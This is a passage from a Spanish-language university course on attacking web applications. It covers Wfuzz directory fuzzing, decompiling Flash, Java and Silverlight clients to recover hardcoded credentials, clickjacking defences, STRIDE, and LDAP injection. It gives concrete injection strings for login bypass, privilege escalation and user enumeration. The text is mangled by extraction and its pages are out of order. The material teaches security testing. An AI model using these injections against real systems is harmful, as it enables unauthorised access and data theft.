tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
